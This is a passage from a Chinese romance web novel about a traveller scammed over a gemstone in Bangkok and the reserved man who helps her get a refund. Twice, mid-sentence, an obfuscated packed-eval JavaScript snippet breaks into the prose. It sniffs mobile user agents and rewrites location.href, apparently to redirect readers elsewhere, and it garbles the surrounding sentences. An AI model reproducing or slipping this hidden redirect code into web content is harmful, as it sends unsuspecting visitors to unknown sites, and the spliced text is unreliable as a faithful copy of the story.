她今天穿的是米白色长裙,棕红的佛牌往脖子上一挂,倒是增添了几分生机。 姜遇棠忍不住多看了两眼。 四面佛附近是著名的商圈,因而来来往往的游客众多。大部分都是结伴同行的,很少有像姜遇棠这样的,孤零零地走在大街上,但她似乎早就习以为常。 姜遇棠抱着相机四处转悠,这块其实能拍的景色并不多,游客过来都是为了拜四面佛的,这个地方本身观赏价值也不高,所以她光是找特色的打卡点就花了不少时间。 在天桥底下找角度的时候,身旁突然走过几个背着大包的欧洲游客,在她身后自拍。 欧洲背包客好像上哪儿都喜欢扛着随身行李,不论男女老少,每个人身后的背包都是鼓鼓囊囊的,好像一点儿都不感到负担。 姜遇棠跟他们站在两边,各拍各的。 有个女人忽然走到她跟前,递过自己的手机,问她能不能帮他们拍一张合照。 她说的是英文,听口音能听出是北欧一带的。 姜遇棠表示没问题,盖好镜头盖,接过对方的手机。 在给他们拍照时,姜遇棠认真观察了一番这拨人,每个人都是素颜装扮,一点儿妆都没化。但因为本身就是浓颜系长相,脸小个子高,五官立体分明,拍照时也算是一点儿都不吃亏。 姜遇棠配合他们的动作和表情,帮他们各个角度都拍了一张,完事后,收到了一致的好评夸赞。 忽然,其中一名背包客指了指她的包,提醒她:“YourPhoneisringing.” 包里的手机铃声已经响了好长时间了,但她刚刚光顾着拍照,没有留意。 此刻经人提醒,姜遇棠才翻出手机,看到是Ivo给她打来的电话,屏幕上还有2个未接来电,慌忙接了起来,问他:“怎么了?” 听筒里的人问她:“你在哪儿?” “哦,我看看。”姜遇棠拿下手机,往四周看了眼,“就在四面佛左边,往左走大概几百米吧。” “嗯,我看到你了,我现在过来。” 听到他的话,姜遇棠下意识地转过身,发现Ivo就站在天桥底下,她正对面的电梯口。 天桥上的行人步履匆匆,天桥下的车辆风驰电掣。 Ivo等眼前的汽车开过,收起手机,快步朝她走来。 此刻正是太阳落山的时候,晚霞漫天,天空是橙黄加浅粉色的。有几缕光线穿过街头的树枝,落在他的身上、脸上。他半张脸被树影遮蔽,半张脸被霞光浸染,镀上一层黄昏的色泽。 Ivo本身就是非常好看的类型,颜值优越,个子也是罕见的高挑。 霞光弥漫的这一刻其实是非常好看的,有一种治愈系电影即将落幕的氛围感,光线影影绰绰,人影浮动不停。 只是这人的表情过分冷漠,完全和这样的镜头感不搭。 姜遇棠内心这么吐槽着,还是没忍住手痒地抬起相机,快速地找准角度,对着离自己愈来愈近的人摁下了快门。 怕一次不能捕捉到迷人的黄昏,她接连摁了好几下拍摄按钮。 相机“咔擦”“咔擦”声响在耳边,一番操作下,镜头里的人倏地和她对上了视线。 他淡淡地瞟她一眼,视线又收了回去。 姜遇棠慌乱地眨了眨眼,在继续拍和投降中纠结了两秒,镜头里的人就来到了她面前。 就是再大胆,姜遇棠也没有对着走到她跟前的人狂拍不停的勇气,见状,她立刻放下了相机。 Ivo没讲话,抬眼不冷不热地看着她。 两人保持沉默地互相对望了一番,身后的出租车忽然打了一声喇叭,似在埋怨这拥堵的城市交通。 姜遇棠好似倏然惊醒,仰望着面前瘫着一张脸,好像别人欠他800万的男人。 正想开口问他谁又惹你生气了,却被他抢了先:“这儿不是景点,你来这里做什么?” “也不一定非要去景区打卡啊,我随处逛逛咯。” Ivo看看她,放弃了指责她不听劝、跑来拥堵街道的行径,低声问:“你的戒指花了多少钱?” 姜遇棠以为他也想要赶在假期最后一波福利,买上一枚,赶紧对他说:“不贵,就花了10万泰铢。要搁平时,这么好的成色,肯定得20万往上了。” 接着问他:“你也要买吗?” 男人回答:“我不买,我只是想提醒你,你被骗了。” “怎么会?”姜遇棠显然不愿接受这个说法,还觉得Ivo不了解事情经过,“这碧玺的成色很好的,商家也提供了证书,而且今天是王后生日的最后一天假日,是商家搞活动才有的这个价格。” “哦,是吗?”Ivo的语气听来有几分漫不经心,非常平静,说出口的话却是直戳人心脏,“可是王后的生日还没到。” “怎......怎么可能?”姜遇棠很难否认听到他的话后心口猛烈地一颤,她不知道自己明显僵硬了一瞬的脸色Ivo有没有注意到。 但她不信邪,赶忙摸出手机上网搜索,不看不知道,这一看啊,悬着的心可算是彻底死了。 王后的生日竟然在后天! 今早一路遇到的好心人都在提醒她这是王后生日的最后一天假期,可明明都还没到王后的生日! 她果真被骗了。 “可那些人,看起来都很好啊,包括那个穿着政府工作制服的TukTuk车司机,他们没道理联合起来欺骗我吧?”姜遇棠终是不死心,抓住这一点问他。 Ivo平静开口:“在曼谷,这样的事情几乎每天都在发生。根本就没有什么政府的TukTuk车,这很明显就是一个骗局。不然你以为那人刚给你规划了路线,就有车恰好停在你面前,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578342|187205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世上会有这么巧的事吗?而且哪有一连驾驶3小时,只收20泰铢的司机,泰国可是个小费国家。” 可你上次也只收了我20泰铢啊,姜遇棠忍不住在心里叹气。 注意到她的表情,Ivo的眸光闪了闪。不知为什么,居然会生出一点点心软。 想了想,他出声问她:“卖宝石的那家店铺,你还记得在哪儿吗?” “额......哦,我有他们的名片。”说着,姜遇棠从包里翻出那张名片,她记得名片上有地址。 Ivo接过去,看了眼:“有点儿远,这边过去至少要一个小时,估计这会儿他们已经下班了。” 姜遇棠怔了一下,又听他说:“明天我再带你去退款吧,现在先送你回酒店。” “啊,好啊。” 说实话,姜遇棠已经走了一天了,加上上午又爬了台阶,大小腿算是已经累到了极限。要是Ivo不过来,她也打算拍完照回酒店休息了。 “话说,你今天干嘛穿得这么正式啊?” 刚见到他的第一眼姜遇棠就想问了,大热天的为啥西装革履的?结果被Ivo一打岔,光在意起自己被骗的事去了。 Ivo随口答:“今天公司临时有事,我回了趟公司。” 姜遇棠登时讶然,难以置信:“你在公司上班?你有正式的工作啊?” Ivo也不知道眼前这人到底对他的职业产生了什么样的误解,但也没解释,很轻地“嗯”了声,算作回答。 “那你是开车过来的吗?车停哪儿了?” Ivo随手指了指对面的一辆黑色宾利。 姜遇棠看看车,又看看他:“怎么不是TukTuk车了?” “那辆TukTuk车是我弟弟的,上午还给他了。” 他今天本来是去弟弟家吃饭,顺带还车的。刚还完车,助理就联系他,让他回公司处理一些紧急事务,Ivo立即回了趟公司。 待事情处理完毕,查看手机时,意外地发现WhatsApp上弹出了好几则消息。好奇加不解,Ivo点进去来看了眼,之后眉头便再也没有松开过。 震惊于姜遇棠的行为,本是不打算管的,可又怕她接下来几天会被骗得倾家荡产,没忍住,Ivo还是给她打了个电话。 姜遇棠点点头,又抬起来,眼睛盯着他,忽地笑了声。 Ivo立刻皱眉:“你笑什么?” 姜遇棠没解释,顿然朝他凑近一步,目光狡黠:“说实话,Ivo,你其实挺在意我的,对吧?” Ivo并不清楚她这个结论是从哪儿得出的:“何以见得?” “要不在意的话,你干嘛大老远的跑来找我?要不在意的话,你干嘛一而再、再而三地关心我的事?这很难解释得通吧?”姜遇棠一条一条地指出,似笑非笑地看着他,并给出自己的说法,“比如街上的流浪汉,我就不会关心他为什么会流浪。” Ivo认为她的说法带有几分强盗逻辑,并没被她俘虏,只是淡淡开口:“因为我拿你当朋友。” 认识这两天,Ivo一直都是这种态度。姜遇棠不是心理学家,也不懂微表情,无法分析他内心的真实想法,但凭自己的直觉,她坚信Ivo是有些在意她的。那这样是不是就说明,他俩结婚还是有几分可能性的? 心里暗暗给自己打气,嘴上却是懒得同他计较:“行吧,行吧,随你怎么说好嘞。” Ivo看了她一眼,也没同她争辩,引着他往车子方向走的时候,注意到她身前的佛牌,又问她:“你这是从哪儿买的?” 姜遇棠顿住,看着自己脖子上挂着的佛牌:“你该不会说这也是假的吧?” “没有,只是好奇你在四面佛前求了什么。” 姜遇棠摸了摸棕红色的佛牌,看上去蛮无所谓地说:“健康啊,财富啊,或多或少的,都求了点儿吧。这块佛牌好像就是保事业的,摊主说能保我财运亨通、事业蒸蒸日上。” 闻言,Ivo很轻地抬了抬眉,接着语气颇为遗憾地告诉她:“那你大概率是实现不了了。” “为什么?” 他很难得地笑了:“因为你这佛牌是爱神。” 8. 等雨 第二天准备出门的时候,姜遇棠还记着Ivo说过的话,但那会儿她明显愣了愣,不等Ivo继续说,立马回复他:“哦,是爱神啊,那也不错。” 心里想的却是,原来是爱神佛牌啊,那爱神还挺灵的呢。 正式出发时,Ivo接到了一个电话,跟姜遇棠说需要等一等,姜遇棠反正也没正事,就陪着他等了等。 等了不过三五分钟,那辆熟悉的TukTuk车便朝他们疾驰而来。 随着轰隆声停下,车上下来一个看起来比她还要年轻几岁的男生,穿着热带风的花衬衫,短裤也是布满各类花纹,脚上趿拉着一双凉拖,左耳戴着一枚黑色的耳钉。 男生长了一张不怎么明显的混血脸,泰式血统占比颇高,眉眼不至于过分锋利,肤色也被曼谷毒辣的太阳晒得与当地人无异。 和Ivo长得不太像,但也能看出是他的某个远房亲戚。 Ivo给他们做介绍:“这是姜遇棠,来自中国,这是Mark。” Mark比姜遇棠要小两岁,估计还在念大学,暑期过来曼谷旅游的。性格比Ivo活泼,属于和谁都能唠上两句的类型。跟姜遇棠才见第一面,就能从问她年龄发展到问她要不要去他家玩的地步。 姜遇棠发现他的自来熟已经到了人神共愤的程度,但你偏偏能感觉出他是好意,并不会生出反感。 Mark不会中文,全程都用英语同姜遇棠交流,他问姜遇棠:“你来曼谷几天了?去过哪些地方?” 姜遇棠看了Ivo一眼,刻意省略了去Export购买宝石这个环节:“没去过几个地方,大多都是泰国本土比较小众的寺庙,不过我已经去过大皇宫了。” “其实我们这里不止有寺庙啦,还有很多美丽的地方。暹罗天地很漂亮,湄南河也很漂亮,漂亮的东西有很多。”Mark笑着说,“听Ivo说,你昨天去买了漂亮的宝石,他担心你被骗,要带你去退款。我跟他说出来玩,开心最重要啦,让他别去找店家,结果他说你花了10万泰铢。要是1万的话,我会说没关系啦,但10万太多了,所以你肯定是被骗了。” 能接二连三地被“骗”字戳中心脏也是姜遇棠的福分,她深吸一口气,吐出,又深吸了一口。 而Mark在看到她的反应后,只觉得有趣,等姜遇棠终于平复过来了,又问她:“可以给我看看你买的宝石吗?” 姜遇棠没有拒绝。 Mark接过首饰盒,拿在手上把玩了会儿,又对着阳光看了会儿,问她:“是不是在中国,一块普普通通的石头都能卖10万块?” “当然不会啊。”姜遇棠说,“中国人又不是傻子。” Mark点头:“的确。不过这颗石头吧,就算标价1000块我也不会买。” 他虽然说的是自己,但姜遇棠能明显听出是在调侃她,因为连Ivo都没忍住笑了声。 大概是因为泰国当地人说话总是嘻嘻哈哈的,热情洋溢,给人一种没来由的亲切感,突然遇到一个像Ivo一样说话直戳她心肺的,姜遇棠有好半天反应不过来。 她抬头看Ivo,试图从他的脸上找出并非嘲笑的笑意,眼睛刚睁大些许,Ivo就拿过那颗石头,塞还给她,又对Mark说:“别开玩笑了,我们抓紧时间过去吧。” Mark哈哈哈地笑了几声,用泰语回了Ivo几句话,姜遇棠听不懂。 等他说完,Ivo低头问她:“你坐他的车,还是跟我的车?” 姜遇棠本来是打算坐TukTuk车的,她喜欢TukTuk车,但是不想被Mark三番五次地嘲笑,所以她毫不犹豫地选择了Ivo。 路上,姜遇棠和Ivo简短地聊了聊,又认真反思了一下,其实也不怪Mark会嘲笑她。 那帮人出现的时机过于巧合,人也太过善良,卖宝石的地方又没有出现在小X书的推荐名单里,他们每个人却表现得好像这是百年一遇的大事一样,说王妃生日,说王室活动,绕来绕去的,却怎么都绕不开最后购买宝石这个环节。 她跟Ivo说:“我们国家经常会出现在东南亚受骗的新闻,国家也多次提醒大家不要轻易前往东南亚,谨防受骗。没想到到头来,我还是被骗了。” Ivo透过后视镜瞧她,想了想,说:“Betterlatethannever.” 姜遇棠只能“嗯嗯嗯”地点头。 她不是第一次坐Ivo的副驾驶了,能明显感觉出Ivo开车和骑车是两种风格。骑TukTuk车时非常随意,能感觉出一股子长期浸泡在曼谷这座城市中的散漫自由,而开车却很稳,不会让人感受到路怒症的沉稳。停车、起步都不慌不忙,坐他的副驾会感觉十分舒适。 昨夜临睡前,Ivo查过Export的具体位置,在一片外资投建的别墅区,整片区域都是做进出口贸易的。他直觉那家店虽有骗人嫌疑,但也不至于过分业余。 一路驶来畅行无阻,罕见得躲过了曼谷拥堵的城市交通,沿途风光明媚,街上有许多推着三轮兜售水果的小贩,挤挤挨挨地站在一处闲聊。 车子转弯,驶入联排的别墅区时,Ivo将车停在了一棵腊肠树下。 树正对着围栏,围栏里头是一排别墅,每栋都好似请人专门设计过,风格各异。 Ivo默默解开安全带,打开车门。 他隔着围栏朝里看了一眼,回头问姜遇棠:“是这里吧?” 姜遇棠点点头。 她虽说只来过一次,但这栋别墅的外观独特,一楼的落地窗上又画了一颗很大的宝石,给人的印象实在是过于深刻。 刚准备进门,Mark的车就停好了,快走两步跟上二人。 宝石店做得像模像样,入口处便能看到里面高级的玻璃展示柜,里头陈列的饰品繁多,种类齐全,不过绝大多数应该都是假的。 还没到正式上班时间,店里已经有人开始走动,见他们进来,忙迎上前说萨瓦迪卡,问他们需要什么帮助。 Ivo也说了一句“萨瓦迪卡”,伸手朝姜遇棠示意,把她的宝石递给对方,说:“我们过来退款。” 出乎意料,店内走动的人皆是一愣,抬起头,朝这边看过来。 迎接他们的工作人员也很快反应过来,问他们:“这枚戒指是有什么问题吗?” Ivo摇摇头:“没有,我们只是单纯地不想要了。” 见他决心已定,工作人员便说:“好的,请随我来,我们的主管会同你们详谈。” 他们被带着走出了院门,又拐了几条路,来到了另一栋别墅前,里头有很明显的说话声。 工作人员做了个“请”的动作,示意他们跟着她进去。 姜遇棠看着这名工作人员脸上挂着的礼貌笑容,态度温和,不慌不忙。她身后是昨天店里的其他工作人员,还有为她服务过的主管。 主管远远地看到了她,亲切地同她挥手致意。 经历过昨天那场骗局,姜遇棠很难不对他们的言行生出几分顾虑,她几乎是条件反射地抓住了Ivo的手腕。 外头日头正盛,Ivo往她面前靠了靠,挡住了阳光。 姜遇棠抬头看他,慌乱中说起了英文:“Whydidtheybringushere?Aretheyplanningtointimidateus?” 一旁的Mark笑了:“Relax,weThaisarelaw-abiding,too.” 姜遇棠的面色却仍旧没有缓和。 Ivo抬了抬胳膊,表示没事:“先进去看看,他们把店开在这块儿,应该做不出违法乱纪的事来。” 姜遇棠便将手松开,又看他两眼:“行,那就先进去观望观望。” 主管邀请他们进入他的办公室,是一间灯光昏暗看着像是仓库的地方,窗口紧闭着,屋内没开空调,闷热得厉害。 主管将门带上,拿起窗台上不知放置多久的遥控器,调试了好几分钟,都没有成功,他又走了出去,同门外的人用泰语交流。 陌生又憋闷的环境,外加语言障碍,令姜遇棠产生一种不祥的预感。 她问Ivo:“他该不会是打算把我们关在这,然后闷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578343|187205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死我们吧?” “......”Ivo不答反问,“你平时很爱看恐怖电影吗?” 姜遇棠:“你不觉得害怕吗?” “你昨天来怎么不害怕?” 姜遇棠不理他,默默地摸了摸胸口的佛牌,在心中祈祷一切都是她多想。 在屋外说了几句话后,有人跟着主管进来,手上拿着一份文件。 “抱歉,这屋的空调坏了,我们还是尽快沟通吧。”主管打开那份文件,翻了翻,“听我助理说,你们是来退款的。当然,这颗宝石自购买之日起,一年内都是可以申请退款的。” “不过,在昨天签署交易文件时,我们曾向你确认过,退款时只能退还75%的款项,这个你没有意见吧?” 这是Ivo未曾了解过的,他偏头看向姜遇棠。 姜遇棠只能硬着头皮告诉他:“因为我昨天根本就没想过要退款,所以100%还是75%的,对我来说没差别啦。” 解释完,刚想回答没意见,Mark突然出声了:“可以给我看一眼这份文件吗?” 主管将文件递给他。 Mark看了两眼,用德语同Ivo说:“文件本身没有问题,不过我可以帮忙把退款讲到90%,再高一点儿,我怕对方也不会同意。” Ivo说没关系,90%就行。 起初,这名主管是不同意的,他说那25%是付给银行的手续费,外汇付款时就已经划给银行了,他们也没办法将那部分退还。 Ivo笑了声,用泰语跟他沟通:“他们不是泰国人,但我是,我家也是做生意的,我还不了解泰国银行吗?没有哪国货币在交易时,是需要抵押25%的手续费的。” 主管看了看姜遇棠和Ivo,又看了眼Mark,开始同他商量:“80%可以吗?” Mark晃了晃脑袋。 主管又问他:“你想退多少?” Mark笑道:“我知道会有手续费,但也没有那么多,不会让你退全部,但至少也得退还90%吧,这样对大家都公平。” 最后讨价还价地理论一番,主管终于同意,但仍是对姜遇棠说:“我们会退还90%的款项,但外币付款、退款都需要经过重重审核,至少需要等待15个工作日,可以吗?” 姜遇棠笑着说没问题。 达成一致意见后,主管在一份退款文件上签署了退款金额与日期,将文件递给她。 事情解决得比姜遇棠想象中要快,把文件收起塞入包中,从别墅里出来,外面已经飘起了雨。 他们站在院门前的廊檐下,隔着雨帘看这座城市,到处都是雾蒙蒙的。 姜遇棠说:“下雨了。” Ivo道:“天气预报说会下1个小时。” 最近雨季,天气预报时准时不准的,姜遇棠其实也没想到白天会下雨。 Mark已经钻入了TukTuk车的驾驶座。 Ivo也准备回公司一趟,找出车钥匙,想让Mark送姜遇棠一趟,忽听他开口问她:“你要不要去我家吃饭?我妈最近在家,她做饭很好吃的。” Ivo不明白他在做什么,忍不住皱起了眉,也朝姜遇棠看过去。 要不要呢? 姜遇棠认真地想了想。 事实上,事情解决,他们就该各回各家了。 她本打算同Ivo告辞,回酒店休息的,可外头不凑巧地下起了雨。 姜遇棠的包中带了伞,她已经学聪明了,早就备好了以防不时之需。可现在,念头一转,她想要更聪明一些,抬头看向Ivo,跟他说:“糟了,我忘带伞了。” 她静静地注视着对方,很小心地放轻了呼吸。 室外淅淅沥沥的雨声加重了她的心跳声,姜遇棠感觉自己有点儿紧张,有点儿期待,又生怕Mark这小子不明就里地抢先一步回答。 多重情绪加持下,姜遇棠期待的目光逐渐变得不确定,她告诉自己,随便吧,要是听不懂就算了,正好回去睡觉。 下一秒,她听到Ivo问她:“要不要跟我们一块儿吃饭?” 9. 了解我 Ivo很少主动邀请,印象里几乎没有。平时说话好像也总是姜遇棠说三句,他回一句的。 姜遇棠还以为他会说帮她打车,或者直接送她回酒店,没想到她竟然猜错了。 问完,Ivo打开车门,坐上驾驶座。 Mark还没走,他听不懂中文,不知道他们说了什么。见姜遇棠还在原地站着,正思考着要不要再问一遍,姜遇棠就回头对他说:“好啊,不过我坐Ivo的车。” Mark耸耸肩,一副无所谓的样子,很快就发动了TukTuk车,边发动边说:“OK,那我先走啦。” 姜遇棠说好,拉开副驾驶的车门:“Mark一定很讨人喜欢吧?他的性格很好。感觉大部分的泰国人都这样,没心没肺,又热情洋溢。” Ivo脚踩油门,很轻地“嗯”了一声。 去Mark家和回酒店是两个方向,中途会经过一条拥挤路段。正逢修路,左右两边都用红色拦板封了道,只有中间狭窄的一截路可以勉强同行,且为单行道。作业人员在两侧印有泰文字样的商铺匾额下躲雨。 车道很窄,非常考验大家的驾驶水平,过路司机都开得小心翼翼。正是饭点,但似乎没有人在赶时间。 窗外的雨停停歇歇,路边植物的叶片都被打湿,不过很快又干了。 Ivo将车驶入一座宽敞的庭院,轻按了两下喇叭,没多久,就见有人从屋内出来,笑着同他打招呼。 姜遇棠打开车门,见Mark正站在那人身侧,兴奋地冲她招了招手。 Mark用不怎么标准的普通话对她说:“欢迎光临我们的民宿。” 姜遇棠没想到他家是经营民宿的,因为Mark看起来跟Ivo一样,实在让人琢磨不透他们的职业。 姜遇棠从车上下来,回看了Ivo一眼,见他很快就走到了民宿门口,快走两步跟过去,听他喊那人:“AuntKim.” 被唤作金姨的人用泰语问候了他两句,看到他身后的姜遇棠,眼睛亮了亮,像婆婆初见儿媳一样,赶忙邀请她进屋。 这是一栋装修非常热带风的别墅,庭院的设计风格充满了自然元素和热带风情,客厅的家具色彩艳丽,但又不至于过分张扬。茶几上摆着一个简约清透的花瓶,里面插满了鲜花。 姜遇棠语气诚恳地夸奖:“我很喜欢这个装修风格。” Mark一脸得意:“当然,这是由我设计的。” “不过智能系统是Ivo改装的。” 他随口跟姜遇棠说了几句,姜遇棠也没发现哪个地方用到了智能系统,Mark又转身跟他妈妈说中午要做什么菜,他可以帮忙打下手。 Ivo轻声提醒他:“口味清淡一点儿,她吃不了过咸和过辣的。” 等他俩去了厨房,姜遇棠才问Ivo:“你跟他们说了什么?” “我让Mark少放些辣椒和盐,因为你好像不怎么喜欢吃重口的食物,不是吗?” 姜遇棠没有否认,只是一小会儿功夫,她又想到了别处去,启唇时不自觉地抬高了眉毛:“没想到你还挺关心我的嘛。说真的,Ivo,你真的不打算和我试试吗?” Ivo不明白她怎么突然又提起了这个话题。 在初次见面时,他就觉得姜遇棠的态度十分散漫,之后的交往更是如此。仿佛同他结婚是一件无可无不可的事,是可以用“试试”来概括形容的一件事,十分草率。 过往接触的人,无论是同事还是朋友,言谈举止间都有一条明确的界限,没有人会轻易跨过。但姜遇棠好像从来都看不见这条界限,好像无所谓,也好像不在意。 Ivo走到沙发前,拿开上面的大象绣花靠枕,转身坐了下去。他抬起脸看姜遇棠,用寻常的语气问她:“试什么?怎么试?” 姜遇棠看了眼他的表情,不确定他是真不懂还是假不懂,跟着他坐下,迎视他的目光,勾起唇角:“试着跟我交往啊,或者直接结婚也行。” Ivo往旁边挪了挪,思索片刻才问她:“你有没有发现,除了我的名字,你其实根本就不了解我,连我的职业是什么都不清楚,而我也不够了解你。” “你想要了解什么?”姜遇棠往他那边挪了挪,不明白中间隔那么一大块是方便他拒绝还是什么,“你问,我都会回答的,保证知无不言,言无不尽,让你全都记住。” “我没有想要了解你,即使你说了我也不一定会记得。”Ivo平静道,“我每天都需要面对很多人,听很多人说话,但我并不一定会记得他们。你也一样,之后你会遇到很多人,很多事,曼谷对你来说,只是生命当中可有可无的一场旅途。” 他的语气平静,表情也看不出任何变化。 姜遇棠却感到非常不满:“你都没听我介绍,怎么就胡乱给我下定义?” 可又觉得Ivo说的不无道理。 确实,几天的时间相对于漫长的人生而言,实在是太过渺小且微不足道了。他们只是短暂地接触了三两天,同世界各地萍水相逢的路人一样,并没有多么深厚的情谊。为此搭上整个后半生,实在是小题大做,且对谁都不公平。 或许等她离开泰国,Ivo就会将她忘了,和每天出现在他面前的人一样,彻底地从他的世界里消失,可她好像不太想让他忘掉自己。 这个想法实在毫无来由,偏偏又愈演愈烈,让她不愿放弃。 “你好像给自己上了一道锁。”姜遇棠说,“把所有人都关在了门外。” Ivo静静地看她,并没有回答。 姜遇棠没在意,还是坚持着把自己的想法说完:“虽然如此,但我又感觉你是一个非常好的人,无论是做朋友,还是爱人,都不会令人失望。” 听她这话,Ivo没忍住笑了:“你也太高估我了吧。” “是吗?或许吧。”姜遇棠注意观察Ivo的表情,“我确实有些瞬间会觉得是自己想多了,可你一而再、再而三地帮助我,很难让我不多想啊。” Ivo不想让她多想,思考着回复道:“因为你和我母亲一样是中国人,不过即使是别人,我也会帮忙的。” 他说的每个字都好像在使劲将她推开,很无情,也很不礼貌,但平时话少的人突然绞尽脑汁拒绝,也很难让人信服。 “是吗?”姜遇棠随口道,慢慢扬起眉,“她们长得没我这么好看,你也会帮忙吗?” “我帮助你并 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她的父母是大学同学,自由恋爱。在很小的时候,姜遇棠从家中书房翻到过父亲给母亲写的情书,那会儿她不太识字,但也能感觉到父亲的文字功底。想必是情真意切,母亲才会保存多年。 姜是德来自祖国西南地区一座偏远的山村,一路苦读,从小地方考到了东南沿海地区。凭借着优秀的才华和卓越的口才,吸引了她母亲的注意。富家小姐自小锦衣玉食,周围人都是同一圈层的,遇到一个勤学刻苦的,很轻易地就被他迷惑了。 在姜遇棠印象里,她父亲完美的形象至少演绎了数十年,至少在她母亲去世之前,她是找不出任何差错的。 可她母亲一过世,他就好像突然变了,变得不再爱她,不再管她学习,也不管她一天经历了什么,开始对她不闻不问。 刚开始,姜遇棠还以为姜是德沉浸在失去妻子的悲痛中,面对她时总会追忆亡妻,继而心绪复杂。只是不过三月,他的新任妻子就拖家带口地登堂入室了。 那之后,姜遇棠好像无论怎么表现,他都爱答不理,即使成绩考了年级前十,也没有妹妹从班级垫底考到中游令他开心。 姜遇棠曾经尝试着修补这段关系,认真学习,好好表现,但好像无论怎么努力,他们仨都是一家人,而她只是个外人。 一连数年,皆是如此。 姜遇棠想不通,为什么她爸爸会变成这样,为什么一个人的心会像贴了膜的车玻璃,里头可以窥见外头,但外面却怎么都看不到里面。 “不过你不必担心,我妈妈生前给我买了信托基金,足以保证我今后都衣食无忧。” Ivo并没有担心,这些都与他无关,只是迫使他想起了别的,怕姜遇棠继续说,当即出声打断:“你并不需要把这些说给我听。” “还不是怕你不信,我想要认真一点。” Ivo听着,正斟酌着该如何拒绝,兜里的手机突然响了,好像影视剧里救人于危难时刻的破坏动静一样。 他掏手机的动作很快,划开屏幕,匆匆扫了一眼,转头看姜遇棠:“我知道了,我会好好想想的,现在,我得先去处理工作了。” 待人走了,姜遇棠忍不住倒在沙发上,长长地叹了一口气:“唉,真是难啃的一块骨头啊。” 10. 花市 姜遇棠感到身心疲惫,摸出手机看了眼,才12:30。 她在手机上随便找了个弱智小游戏,打发了一小会儿时间,电量立刻去掉30%。今早出门没带充电宝,怕撑不到回去,她又默默地退出了游戏。 唉,真无聊。 大家都在忙碌,Ivo也不知是否真的有工作需要处理,走得那么快,跟身后有狮子在追他似的。 姜遇棠盯着客厅金光璀璨的吊灯发呆,刚打算躺沙发上眯一会儿,余光瞥见Mark从厨房里钻了出来。 他走到姜遇棠跟前站定,看眼她,又看眼窗外:“怎么了?我哥惹你生气了吗?” 姜遇棠心不在焉地听他讲话,不以为意地点点头,又猛然意识到不对:“什么?Ivo是你哥哥?” “怎么?我们看起来不像吗?很多人都说我们长得像。” 照理跟不熟的人说话应该要挑好的说的,但姜遇棠实在难以昧着良心说像,匆匆摇头表示自己不知道,祈祷他换个话题。 猜到她在想什么,Mark倒也不介意,告诉她:“我们是同一个父亲。” 剩下的,他并没有多说。 Mark这人天生健谈,跟他聊天基本不会冷场,他很擅长从一个话题拐到另一个话题,说着说着,就问起姜遇棠来自中国哪里,打算在曼谷待多久。 姜遇棠面不改色道:“杭州,计划在这待一个礼拜吧。” Mark认真地点头附和:“杭州啊,我听说过这个地方,离上海很近。我小时候去过上海,上海的食物味道很淡。难怪刚刚Ivo让我不要放太多辣椒,因为我很能吃辣。” “Ivo也很能吃辣吗?”姜遇棠不露声色地问他。 Mark笑着摆摆手:“刚开始也吃不了,在泰国多待了一段时间后,倒是能吃点儿了,不过也接受不了太辣的。” 姜遇棠刚想问他接受不了泰国的饮食文化,那他平时是怎么解决的时,Mark就说了:“他平时工作不忙的话,喜欢自己做饭,Ivo的厨艺很好,还会做中餐。” 这是姜遇棠没有想到的,因为他看起来实在不像是个爱进厨房的人。 知道姜遇棠才来曼谷没几天,Mark问她接下来有什么计划,有什么想去的地方,他可以帮她做一下参考。 事实上,姜遇棠并无任何计划。她没报团,也没做任何行程规划,连明天要不要去商场购物都未做打算。 Mark听到她的话后,沉默了两秒,又给她提建议:“如果你喜欢看夜景的话,可以去湄南河的码头乘船;要是喜欢购物,暹罗天地和CentralWorld都挺不错。想逛景点的话,我明天正好要带团去郑王庙,你要是想去,可以跟我的团,不用担心没人作伴,还可以免费听讲解。” 他给姜遇棠提供了很多方案,姜遇棠认真地思考着明天该去哪。 跟团其实也不赖,正好她语言不通,很多泰式英语都听不明白,能跟人结伴而行听起来好像也不错。 Mark问她:“怎么样?要不要跟我的团?” 她刚打算说好啊,忍不住扫了眼窗外的宾利,又问Mark:“Ivo也会去吗?” “他啊,他不去啦,他可能要忙工作,最近几天好像都挺忙的。” “这样啊,那我再考虑考虑吧。”姜遇棠最终也没有给Mark一个确切的回复,“我可能会在酒店休息,也可能会去购物。” Mark显然以为她误会了,忙替他哥解释道:“他工作很忙的,有一家上市的科技公司,具体我也不太清楚是经营什么业务的,好像是增强现实,也可能是跟AI相关的研发吧,反正他经常需要去各个国家出差。” Ivo竟然是上市公司老总,这是姜遇棠没有料到的。 初遇时,她以为他是接地导游。再遇到,见他穿着正式,她又以为他是干销售的,还想着,原来全世界的销售穿搭都如此正式呢。 没想到他竟然是搞软件开发的。 姜遇棠不太了解这些,她不怎么玩游戏,中学时代学的编程知识也全都还给老师了,身边朋友不是搞艺术的,就是学金融的,很难接触到科技相关。 Ivo看着跟她差不了几岁,已经凭借自身努力拥有了一家上市公司,前途不可估量;姜遇棠也二十来岁,还在gap,不知天地为何物。 “真是大忙人啊。”姜遇棠啧啧评价道,不知是否真心,回头才对Mark说,“我不去了,我明天再考虑要去哪儿吧。” “OK,那我先去厨房帮忙啦。” 等Mark走了,姜遇棠看到忙完工作的Ivo重新走回客厅,她盯着他问:“忙完啦?” 